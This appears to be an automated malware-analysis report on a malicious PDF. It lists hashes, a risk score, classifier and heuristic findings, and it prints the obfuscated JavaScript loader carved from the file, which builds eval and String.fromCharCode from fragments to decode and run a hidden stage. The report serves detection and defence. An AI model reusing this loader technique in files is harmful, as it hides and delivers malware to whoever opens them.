Malicious PDF — malware analysis report

Static analysis result for SHA-256 f6e84ddaa464127e…

MALICIOUS

PDF

45.2 KB First seen: 2026-05-09
MD5: e4e0a85ed5d00af2cfc59c86e2571275 SHA-1: 62a7a2435980151ccf4893c6dbc371c42b241ed0 SHA-256: f6e84ddaa464127e4b4e2ac39f7a9f33812a131583778cbd7abf96401e927c3f
86 Risk Score

Malware Insights

The PDF file contains embedded JavaScript, flagged by multiple heuristics and a high-confidence ML classifier. The JavaScript is likely intended to download and execute a second-stage payload. The document body 'test' provides no contextual information for the attack.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB20F 487 bytes
SHA-256: 6fd497c338449ef697e9609f61b4051ad007c753b3c2cfdea804ee3277946d62
Preview script
First 1,000 lines of the extracted script
qnuf='';
v='s'+'u';
try{try{qwe()}catch(a){gsdg()}}catch(e){v+=('wqg','b'+'st');}
qwe = ('webweb',v)[v+'r'];
t='le';
b='v';
a=["e","a","n","b","w",b,'r'];
e=(t,qwe)()[a[0]+b+a[1]+(a,t[0])];
udzx=e('ti'+'tle');
s=udzx.substr(t.length + 8,3)+'str';
q=udzx[s](1,(1,t.length + 7));
qdebc=e('S'+'tring.fro'+q);
q=udzx[s](14).split('u');;
e('k=q.length');
for (i = 0; i != k; i+=2) {
	hik = parseInt(q[i+1]) + parseInt(('erybjkerl',q[i]));
	qnuf += qdebc(hik);
}
e(qnuf);

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